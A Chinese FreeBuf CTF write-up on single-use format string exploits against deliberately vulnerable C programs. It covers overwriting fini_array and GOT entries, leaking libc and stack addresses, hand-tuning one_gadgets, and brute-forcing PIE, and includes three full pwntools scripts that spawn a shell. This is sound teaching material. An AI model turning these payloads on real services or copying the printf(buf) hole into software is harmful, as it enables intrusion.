freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

格式化字符串打出没有回头路(上)
2023-11-28 10:26:04

零、开篇

格式好,格式秒,格式化字符有门道,泄露见我百步穿杨技,qiang法要数回头望月高,随机取值盲打用星号,没有回头路又将如何去pwn掉。

格式化字符串一般都伴随着多次循环,但其中也有只能使用一次格式化字符串的情况,主要是利用 exit 函数执行过程中遍历 fini_array 指针数组中存储的函数地址(如下图),攻击者修改 fini_array 数组为指定内容达成攻击效果。

1.程序运行图.png

一般出题者都会在程序中留有 system 供答题者使用,并且为了保证攻击可以实施关闭 pie 保护,本文将由浅入深探讨在开启 pie 保护,并且没有 system 函数情况下的攻击手段。

一、百步穿杨(常规题目)

//fmt_str_once_sys.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int sys(char *cmd){
    system(cmd);
}

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int dofunc(){
    char buf[0x100] ;
    puts("input:");
    read(0,buf,0x100);
    printf(buf);
    return 0;
}

int main(){
	init_func();
    dofunc();
    return 0;
}
//gcc fmt_str_once_sys.c -no-pie -z norelro -o fmt_str_once_sys_x64

此题目是典型的只能一次格式化字符串的情况,程序中有 system 函数,并且关闭了 pie 保护。主要攻击思路如下。

  1. 利用格式化字符串一次性修改 fini_array 中的值为要返回的函数地址,修改 printf@got 表项为 system@plt 表项地址

  2. 传入 /bin/sh\x00 执行 system("/bin/sh")

主要攻击脚本如下。

#!/usr/bin/env python3
# coding=utf-8
from pwn import *
import pwn_script
arch = 'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile= './fmt_str_once_sys_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc =elf.libc

dem = 'input:\n'
io.recvuntil(dem)
fini_array = 0x4031D0
main_adrr = elf.symbols["main"]
printf_got = elf.got["printf"]
system_plt = elf.symbols["system"]
payload = fmtstr_payload(6, {fini_array :main_adrr , printf_got:system_plt})
io.send(payload)
io.sendafter(dem,b"/bin/sh\x00")
io.interactive()

显然,上面的情况不具备一般性,是为了出题而出题,更具有一般性的题目显然不应该有 system 函数,题目如下

//fmt_str_once_no_sys.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/*
int sys(char *cmd){
    system(cmd);
}
*/

int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int dofunc(){
    char buf[0x100] ;
    puts("input:");
    read(0,buf,0x100);
    printf(buf);
    return 0;
}

int main(){
	init_func();
    dofunc();
    return 0;
}
//gcc fmt_str_once_no_sys.c -no-pie -z norelro -o fmt_str_once_no_sys_nopie_x64
//gcc fmt_str_once_no_sys.c -z norelro -o fmt_str_once_no_sys_pie_x64

此题目也有两种情况,一种是关闭 pie 保护,一种是开启 pie 保护,我们将分别来处理这两种情况。

二、一石三鸟(关闭 pie)

如果程序中没有 system 函数,我们面临的主要问题是第一次格式化字符串无法修改 printf@got 表项为 system@plt 表项地址,这个问题较好解决,我们修改第二次栈上的返回地址即可,通过修改 fini_array 中的值为 main 函数地址后调试并对比栈帧。

第一次:

2.第一次栈内存.png

第二次:

3.第二次栈内存.png

可以看出在本人 libc 的环境下,再次返回 dofunc 时栈帧抬高了 0xe0 。所以,在第一步时需要泄露栈地址和 libc 基地址,通过计算得出第二次的栈帧,这样在第二次使用格式化字符串时便可以修改栈上的返回地址。主要攻击思路变更如下。

  1. 利用格式化字符串一次性完成以下内容

    1. 修改 fini_array 中的值为要返回的函数地址,

    2. 泄露栈地址

    3. 泄露 libc 基地址

  2. 修改栈的返回地址为 pop_rdi_ret; bin_sh_addr; system_addr

当然在攻击时还要处理几个问题

1.%n 输入字符计算

我们通常使用类似 %100c%10$hn这种来向指定内存中写入数据,写入的数据为100。但当使用 %p%10$hn这种来向内存写数据时, %p 会以转换出来的字符为基础,既 0x7fffffaabb00 这种形式,也就是向内存中写入的数据为14(32位程序为10)。同理,如果用 %10$s%10$hn这种形式,就是打印出的字符串数量作为写入的数据,非常庆幸的是64位程序使用6个字节的内存地址拯救了我们,got 表项高2位字节存储为 00 ,所以利用 %10$s%10$hn这种形式泄露 got 表项地址时,同时内存中写入的数据为6。(由于32位软件 got 表项里面的内容是四个字节,所以打印出字符串的数量则需要更为精确的计算,这样看来,32位程序更为困难)

如图所示,图中 %40$p%16s在计算字符数量时应当按照箭头所指的数量计算,即为14+6=20个字符。同时,注意不能忽略用来对齐的字符。所以,计算写入字符时,前面用来泄露的内容代表了14+6+6=26个字符。

4.%n字符计算.png

2.修改栈帧需要发送字符过长

程序在第二次利用格式化字符串漏洞时,由于要修改栈帧为3个字长,共24个字节,很大几率出现发送字符过长的情况,如下图所示。

5.修改栈帧传入字符过长.png

这个问题较好解决,我们执行到dofunc函数ret时观察一下寄存器的值,再选取一个可用的One_Gadget即可。

6.寻找one_gadget.png

我选取的One_Gadget为 0xe6c7e。主要攻击脚本如下

#!/usr/bin/env python3
# coding=utf-8
from pwn import *
import pwn_script
arch = 'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile= './fmt_str_once_no_sys_nopie_x64'
io = process(pwnfile)
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc =elf.libc


dem = 'input:\n'
io.recvuntil(dem)
payload = b"%40$p%16$s"
align_len = 16
len_a = align_len - len(payload)
payload = payload.ljust(align_len,b"a")
fini_array = 0x4031A8
main_adrr = elf.symbols["main"]
printf_got = elf.got["printf"]
puts_got = elf.got["puts"]
pop_rdi_ret = 0x401363
# system_plt = elf.symbols["system"]

# %40$p 打印出的字符数为14,%16$s 打印出的字符数为 6 ,len_a 为补充对齐a的数量
numb_written = 14 + 6 + len_a
payload += fmtstr_payload(8, {fini_array :main_adrr} , numbwritten = numb_written)
payload += p64(puts_got) # 将 puts@got 放在末尾
print(payload)
io.send(payload)
io.recvuntil(b"0x")
rbp_1 = int(io.recv(12),16)
old_rbp = rbp_1 - 0x10
new_rbp = old_rbp - 0xe0
puts_addr = u64(io.recv(6).ljust(8,b"\x00"))
sys_addr ,binsh_addr = pwn_script.libcsearch_sys_sh("puts" , puts_addr , path = libc.path)
libc_base = sys_addr - libc.symbols["system"]
one_gadgat = libc_base + 0xe6c7e
print("old_rbp is :" , hex(old_rbp))
print("new_rbp is :" , hex(new_rbp))
print("sys_addr is :" , hex(sys_addr))
print("binsh_addr is :" , hex(binsh_addr))

# payload = fmtstr_payload(6, {new_rbp + 0x8 :pop_rdi_ret , new_rbp+0x10:binsh_addr , new_rbp+0x18:sys_addr})
payload = fmtstr_payload(6, {new_rbp + 0x8 :one_gadgat })
io.sendafter(dem,payload)
io.interactive()

三、浑水摸鱼(开启 pie)

相对于关闭pie,在开启保护之后,由于不知道 got 表地址,无法通过传入fini_array的地址将其直接修改为要返回的地址,同样也无法直接泄露libc基地址。总之,地址的随机性成了我们攻击的难点,必须灵活使用内存中现有的数据进行攻击。对于老手来说,泄露_libc_start_main函数地址来泄露libc地址是轻车熟路的事情,但是修改fini_array数据则相对困难,通过调试观察内存中数据如下图所示。

7.分析栈帧.png

其中有两处可以利用的地址(可能是 puts 函数,也可能是init_func(),或者是程序加载产生,有待考证)。我采用的是通过爆破方式来处理,假设程序装载地址的后两个字节均为 0 ,此时,fini_array后两位为0x31b0, main 的地址后两位为elf.symbols["main"] =0x12a4,爆破成功后再次修改栈的返回地址为One_Gadget,爆破时间复杂度为 O(1) = 16。

image-20220214185415061.png

image-20220214185436716.png

综上所述,主要攻击思路变更如下

  1. 利用格式化字符串一次性完成以下内容

    1. 爆破修改fini_array中的值为要返回的函数(main)地址,

    2. 泄露栈地址

    3. 利用_libc_start_main函数来泄露libc基地址

  2. 爆破成功后修改栈的返回地址为One_Gadget

题目到此为止应该已经算是解决,但在本人环境中出现了一点问题,由于 r15 指向的地方不再为0,通过one_gadget程序找到的One_Gadget都无法使用(即使设置参数 -l 10 也不行),如下图。因此,必须手动调整One_Gadget

9.寻找one_gadget失败.png

One_Gadget 手动调试

寻找One_Gadget无非是程序自动执行system("/bin/sh")或类似的程序,本着这个原则将one_gadget程序找到的One_Gadget继续向前查找,以one_gadget找到的0xe6c81为例,r12 r15 为第二、三个参数。

image-20220214190412940.png

我们跟随 0xe6c76 返回查看,如图所示,r15 = rbp-0x50 , rbp-0x50 中存储的是 rax , 由于程序的返回值为0,所以会将rax置零。

image-20220214190650750.png

rax 置0

image-20220214193052749.png

所以优化后的攻击思路如下。

  1. 利用格式化字符串一次性完成以下内容

    1. 爆破修改fini_array中的值为要返回的函数(main)地址,

    2. 泄露栈地址

    3. 利用_libc_start_main函数来泄露libc基地址

  2. 利用格式化字符串一次性完成以下内容

    1. 爆破成功后修改栈的返回地址为One_Gadget

    2. 如果需要也可以通过调整rbp的地址来使得One_Gadget成立

所以,本人使用的 One_Gadget 为 0xE6EF0 。主要攻击脚本如下。

#!/usr/bin/env python3
# coding=utf-8
from pwn import *
import pwn_script
arch = 'amd64'
pwn_script.init_pwn_linux(arch)
pwnfile= './fmt_str_once_no_sys_pie_x64'
for i in range(20):
    try:
        io = process(pwnfile)
        #io = remote('', )
        elf = ELF(pwnfile)
        rop = ROP(pwnfile)
        libc =elf.libc

        main_adrr = elf.symbols["main"]
        printf_got = elf.got["printf"]
        puts_got = elf.got["puts"]

        dem = 'input:\n'
        io.recvuntil(dem)
        payload = b"%40$p%43$p"  # 泄露基地址、libc地址
        nu = main_adrr - 14*2 

        # 爆破修改 fini_array 中的值为要返回的函数(main)地址
        payload += b"%" + str(nu).encode("utf-8")  + b"c%34$hn" 
        align_len = 0x1c*8
        len_a = align_len - len(payload)
        payload = payload.ljust(align_len,b"a")
        fini_array = 0x31b0
        # system_plt = elf.symbols["system"]
        # numb_written = 14 + 6 + len_a
        # payload += fmtstr_payload(8, {fini_array :main_adrr} , numbwritten = numb_written)
        # payload += p64(puts_got)


        # 爆破写入 fini_array 地址
        payload +=  p16(fini_array)
        print(payload)
        io.send(payload)
        io.recvuntil(b"0x")
        rbp_1 = int(io.recv(12),16)
        old_rbp = rbp_1 - 0x10
        new_rbp = old_rbp - 0xe0
        io.recvuntil(b"0x")
        libc_start_main_243 = int(io.recv(12),16)
        libc_start_main = libc_start_main_243 - 243
        sys_addr ,binsh_addr = pwn_script.libcsearch_sys_sh("__libc_start_main" , libc_start_main , path = libc.path)
        libc_base = sys_addr - libc.symbols["system"]
        one_gadgat = libc_base + 0xE6EF0
        print("old_rbp is :" , hex(old_rbp))
        print("new_rbp is :" , hex(new_rbp))
        print("sys_addr is :" , hex(sys_addr))
        print("binsh_addr is :" , hex(binsh_addr))
        print("one_gadgat is :" , hex(one_gadgat))


        # payload = fmtstr_payload(6, {new_rbp + 0x8 :pop_rdi_ret , new_rbp+0x10:binsh_addr , new_rbp+0x18:sys_addr})
        payload += fmtstr_payload(6 , {new_rbp + 0x8 :one_gadgat })
        io.sendafter(dem,payload)
        io.interactive()
    except:
            pass

攻击成功如下图

11.攻击成功图.png

四、总结

通过上面的流程可以发现,在解决此类问题时要做好以下几点

  1. 对 %n 输入字符的计算

    1. 对于64位程序,64位程序使用6个字节的内存地址拯救了我们,%n$s 指向的如果是 got 表项,打印字符数量必然是6

    2. 对于32位程序则相对复杂,要计算所选 got 表项高地址还存有 got 表项的数量,并且可能 got 表项中有 00 存在,所以建议选择最后一个 got 表项作为泄露的地址。

  2. One_Gadget 的寻找,某些时候需要手动寻找One_Gadget,个别时候还需要调整rbp地址来使One_Gadget成立

  3. **对于程序中没有system的情况,需要知道libc的版本,以确保_libc_start_main和 exit 函数变化不大,当然如果有libc更好。**对于没有 libc 版本的情况,则第一步需要人工测试 libc 版本。

五、问题

有经验的师傅们可以发现,在上面题目的编译中使用了-z norelro编译选项,也就是说是NULL RELRO防护模式,所以才能够攻击fini_array,但这显然不是最极端的情况。如果编译选项变成gcc -z now fmt_st.c -o fmt_strx64该如何处理呢?敬请期待下篇——回头望月

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BUFLEN  0x60
int init_func(){
    setvbuf(stdin,0,2,0);
    setvbuf(stdout,0,2,0);
    setvbuf(stderr,0,2,0);
    return 0;
}

int dofunc(){
  char buf[BUFLEN];
  puts("input");
  read(0, buf, BUFLEN);
  printf(buf);
  _exit(0);
  return 0;
}
int main(){ 
  init_func();
  dofunc();
  return 0;
}
// gcc -z now fmt_st.c -o fmt_strx64
# 格式化字符串 # pwn
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录